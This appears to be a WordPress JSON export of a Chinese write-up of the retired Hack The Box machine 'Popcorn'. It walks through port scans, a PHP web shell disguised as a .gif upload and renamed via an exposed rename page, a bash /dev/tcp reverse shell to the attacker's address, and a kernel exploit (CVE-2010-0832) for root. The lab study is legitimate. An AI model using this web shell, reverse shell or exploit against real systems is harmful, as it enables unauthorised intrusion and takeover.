{"id":128,"date":"2024-11-13T09:34:10","date_gmt":"2024-11-13T01:34:10","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=128"},"modified":"2024-11-13T09:49:07","modified_gmt":"2024-11-13T01:49:07","slug":"htb_machine_popcorn","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_popcorn\/","title":{"rendered":"HTB\u9776\u673a Popcorn \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.6<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/popcorn\/nmap_result]\n\u2514\u2500# ping -c 4 10.10.10.6\nPING 10.10.10.6 (10.10.10.6) 56(84) bytes of data.\n64 bytes from 10.10.10.6: icmp_seq=1 ttl=63 time=231 ms\n64 bytes from 10.10.10.6: icmp_seq=2 ttl=63 time=234 ms\n64 bytes from 10.10.10.6: icmp_seq=3 ttl=63 time=242 ms\n64 bytes from 10.10.10.6: icmp_seq=4 ttl=63 time=231 ms\n\n--- 10.10.10.6 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3246ms\nrtt min\/avg\/max\/mdev = 231.116\/234.672\/242.213\/4.484 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Mon Jul 22 20:15:22 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.6\nNmap scan report for 10.10.10.6 (10.10.10.6)\nHost is up (0.23s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Mon Jul 22 20:16:05 2024 -- 1 IP address (1 host up) scanned in 43.38 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e862<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Mon Jul 22 20:17:44 2024 as: nmap -sS -sV -A -p 22,80 -oN .\/tcp_result.txt 10.10.10.6\nNmap scan report for 10.10.10.6 (10.10.10.6)\nHost is up (0.24s latency).\n\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)\n|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)\n80\/tcp open  http    Apache httpd 2.2.12\n|_http-server-header: Apache\/2.2.12 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/popcorn.htb\/\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 2.6.17 (96%), Linux 2.6.17 - 2.6.36 (96%), Linux 2.6.30 (96%), Linux 2.6.32 (96%), Linux 2.6.35 (96%), Linux 2.4.20 (Red Hat 7.2) (95%), AVM FRITZ!Box FON WLAN 7240 WAP (95%), Canon imageRUNNER ADVANCE C3320i or C3325 copier (94%), Android 2.3.5 (Linux 2.6) (94%), Epson WF-2660 printer (94%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   230.93 ms 10.10.14.1 (10.10.14.1)\n2   266.11 ms 10.10.10.6 (10.10.10.6)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Mon Jul 22 20:18:08 2024 -- 1 IP address (1 host up) scanned in 24.87 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Mon Jul 22 20:19:12 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.6\nWarning: 10.10.10.6 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.6 (10.10.10.6)\nHost is up (0.26s latency).\nAll 65535 scanned ports on 10.10.10.6 (10.10.10.6) are in ignored states.\nNot shown: 65164 open|filtered udp ports (no-response), 371 closed udp ports (port-unreach)\n\n# Nmap done at Mon Jul 22 20:25:18 2024 -- 1 IP address (1 host up) scanned in 365.71 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u6709\u6839\u57df\u540dpopcorn.htb<\/code>\uff0cOpenSSH<\/code>\u548cApache HTTPd<\/code>\u7248\u672c\u8f83\u4f4e\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/popcorn]\n\u2514\u2500# nc -nv 10.10.10.6 22\n(UNKNOWN) [10.10.10.6] 22 (ssh) open\nSSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/popcorn.htb<\/code><\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Tue Jul 23 07:58:38 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/popcorn.htb\/ -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap -w \/usr\/share\/wordlists\/dirb\/big.txt\n\n301   244B   http:\/\/popcorn.htb\/rename    -> REDIRECTS TO: http:\/\/popcorn.htb\/rename\/\n200     8KB  http:\/\/popcorn.htb\/test\n301   244B   http:\/\/popcorn.htb\/torrent    -> REDIRECTS TO: http:\/\/popcorn.htb\/torrent\/<\/code><\/pre>\n
\u53d1\u73b0\u4e863<\/code>\u4e2a\u76ee\u5f55\u3002<\/p>\n
\u8bbf\u95ee\/test<\/code>\uff0c\u53d1\u73b0\u4e3aPHPInfo<\/code>\u9875\u9762\uff0c\u6210\u529f\u627e\u5230\u4e86\u5f53\u524d\u7528\u6237www-data<\/code>\u548c\u7f51\u7ad9\u76ee\u5f55\/var\/www\/<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u8bbf\u95ee\/rename<\/code>\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u4e86filename<\/code>\u548cnewfilename<\/code>\u4e24\u4e2a\u53c2\u6570\uff0c\u63a8\u6d4b\u8be5\u9875\u9762\u7684\u529f\u80fd\u4e3a\u79fb\u52a8\u6216\u91cd\u547d\u540d\u6307\u5b9a\u7684\u6587\u4ef6\u3002\u5c1d\u8bd5\u79fb\u52a8\/etc\/passwd<\/code>\u6587\u4ef6\u5230\/var\/www\/passwd.txt<\/code>\uff1a<\/p>\n
http:\/\/popcorn.htb\/rename\/?filename=\/etc\/passwd&newfilename=\/var\/www\/passwd.txt<\/code><\/pre>\n
\u53d1\u73b0\u9875\u9762\u4e0a\u51fa\u73b0\u4e86\u6743\u9650\u9519\u8bef\u62a5\u9519\u4fe1\u606f\uff1a<\/p>\n
\"\"<\/p>\n
\u53ef\u4ee5\u5f97\u77e5\u8be5\u9875\u9762\u6838\u5fc3\u529f\u80fd\u7684\u5b9e\u73b0\u4f9d\u8d56rename()<\/code>\u51fd\u6570\uff0c\u6ca1\u6709\u547d\u4ee4\u6267\u884c\u540e\u95e8\uff0c\u5224\u5b9a\u8be5\u9875\u9762\u4e3a\u6587\u4ef6\u64cd\u4f5c\u540e\u95e8\u3002<\/p>\n
\u8bbf\u95ee\/torrent<\/code>\u76ee\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u90e8\u7f72\u4e86Torrent Hoster<\/code>\u4e0b\u8f7d\u7ba1\u7406\u7cfb\u7edf\uff0c\u540c\u65f6\u4e3b\u9875\u4e0a\u8fd8\u6709Admin<\/code>\u8d85\u7ba1\u7528\u6237\u53d1\u5e03\u7684\u4e00\u4e9b\u516c\u544a\u3002<\/p>\n
\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u767b\u5f55\u540e\u8bbf\u95ee\u6587\u4ef6\u7ba1\u7406\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u6709\u540d\u4e3aKali Linux<\/code>\u7684\u4e0b\u8f7d\u8d44\u6e90\uff0c\u70b9\u51fb\u67e5\u770b\u4fe1\u606f\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u4e00\u4e2a\u4e0b\u8f7d\u8d44\u6e90\u4e2d\u5305\u542b\u6587\u4ef6\u5185\u5bb9\u3001\u79cd\u5b50\u548c\u4e3b\u9898\u56fe\u7247\u3002\u79cd\u5b50\u6587\u4ef6\u4fdd\u5b58\u5728\/torrents<\/code>\u76ee\u5f55\u4e0b\uff0c\u800c\u56fe\u7247\u6587\u4ef6\u4fdd\u5b58\u5728\/upload<\/code>\u76ee\u5f55\u4e0b\uff0c\u4e24\u79cd\u6587\u4ef6\u4e0a\u4f20\u65f6\u6587\u4ef6\u540d\u90fd\u88ab\u6539\u53d8\uff1a<\/p>\n
\"\"<\/p>\n
\u7ed3\u5408\u4e4b\u524d\u7684rename<\/code>\u9875\u9762\uff0c\u5f88\u5bb9\u6613\u60f3\u5230\u5c06PHP<\/code>\u6728\u9a6c\u540e\u7f00\u540d\u6539\u4e3a.gif<\/code>\u6587\u4ef6\u540e\u4e0a\u4f20\uff0c\u7136\u540e\u4f7f\u7528\u8be5\u9875\u9762\u5bf9\u6728\u9a6c\u8fdb\u884c\u79fb\u52a8\u5e76\u91cd\u547d\u540d\u7684\u65b9\u6cd5GetShell\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u56fe\u7247\u6728\u9a6c\u4e0a\u4f20<\/h2>\n
\u5728\u4e0a\u4f20\u56fe\u7247\u6728\u9a6c\u4e4b\u524d\uff0c\u5148\u968f\u4fbf\u627e\u4e00\u4e2aTorrent<\/code>\u79cd\u5b50\u6587\u4ef6\u4e0a\u4f20\uff1a<\/p>\n
\"\"<\/p>\n
\u968f\u540e\u521b\u5efa\u5982\u4e0b\u6728\u9a6c\uff0c\u4fdd\u5b58\u4e3asparkle.gif<\/code>\uff1a<\/p>\n
<?php\n    $command = $_GET['cmd'];\n    if (isset($command) && !empty($command)) {\n        system($command);\n    } else {\n        die(\"Hello, hello, I'm sparkle!\");\n    }\n?><\/code><\/pre>\n
\u63a5\u7740\u70b9\u51fbEdit this torrent<\/code>\u6309\u94ae\uff0c\u5728\u5f39\u51fa\u7684\u7a97\u53e3\u4e2d\u9009\u4e2d\u4fdd\u5b58\u7684\u6728\u9a6c\u6587\u4ef6\uff1a<\/p>\n
\"\"<\/p>\n
\u70b9\u51fbSubmit Screenshot<\/code>\u76f4\u63a5\u4e0a\u4f20\uff1a<\/p>\n
Upload: sparkle.gif<br \/>Type: image\/gif<br \/>Size: 0.1689453125 Kb<br \/>Upload Completed. <br \/>Please refresh to see the new screenshot.<\/code><\/pre>\n
\u7136\u540e\u8bbf\u95ee\/torrent\/upload<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u591a\u4e86\u4e00\u4e2a\u6587\u4ef6\uff1a<\/p>\n
\"\"<\/p>\n
\u5f88\u663e\u713622bfadb856332aa6724439a53bdc89726966db31.gif<\/code>\u5c31\u662f\u4e0a\u4f20\u7684\u6728\u9a6c\u6587\u4ef6\u3002\u8bbf\u95ee\/rename<\/code>\u76ee\u5f55\u5c06\u8be5\u6587\u4ef6\u6539\u540d\u4e3asparkle.php<\/code>\uff1a<\/p>\n
http:\/\/popcorn.htb\/rename\/?filename=\/var\/www\/torrent\/upload\/22bfadb856332aa6724439a53bdc89726966db31.gif&newfilename=\/var\/www\/torrent\/upload\/sparkle.php<\/code><\/pre>\n
\"\"<\/p>\n
\u4f7f\u7528BurpSuite<\/code>\u8bbf\u95ee\u6d4b\u8bd5\uff1a<\/p>\n
\"\"<\/p>\n
\u4e0a\u4f20\u6210\u529f\uff01\uff01\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/strong><\/p>\n
\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.3\/443 0>&1'<\/code><\/pre>\n
\"\"<\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n
\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n
\"\"<\/p>\n
\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n
\"\"<\/p>\n
\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n
\"\"<\/p>\n
\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n
\"\"<\/p>\n
\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edfUbuntu Linux 9.10<\/code>\u7248\u672c\u8f83\u4f4e\uff0c\u51b3\u5b9a\u4f7f\u7528\u5185\u6838\u6f0f\u6d1e\u63d0\u6743\u3002<\/p>\n
\u5185\u6838\u6f0f\u6d1e\u63d0\u6743<\/h2>\n
\u7ecf\u8fc7\u5728\u7ebf\u67e5\u8be2\uff0c\u53d1\u73b0\u6f0f\u6d1eCVE-2010-0832<\/code>\u548c\u9776\u673a\u64cd\u4f5c\u7cfb\u7edfUbuntu Linux v9.10<\/code>\u5b8c\u7f8e\u5951\u5408\uff0c\u51b3\u5b9a\u4f7f\u7528\u8be5\u6f0f\u6d1e\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n
\"\"<\/p>\n
chmod 777 .\/14339.sh\n.\/14339.sh<\/code><\/pre>\n
\"\"<\/p>\n
\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
\n
Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
947080260abcb5b77f8c19fd7451902f<\/code><\/pre>\n
\n
\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
\n","protected":false},"excerpt":{"rendered":"
\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.6 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/D …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-128","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/128","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=128"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/128\/revisions"}],"predecessor-version":[{"id":129,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/128\/revisions\/129"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=128"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}